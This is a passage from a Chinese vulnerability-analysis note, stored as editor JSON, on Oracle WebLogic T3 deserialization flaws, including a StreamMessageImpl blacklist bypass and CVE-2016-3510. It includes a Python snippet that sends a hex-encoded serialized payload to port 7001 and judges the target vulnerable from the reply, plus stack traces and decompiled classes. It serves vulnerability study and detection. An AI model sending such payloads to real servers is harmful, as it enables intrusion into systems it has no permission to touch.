&#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        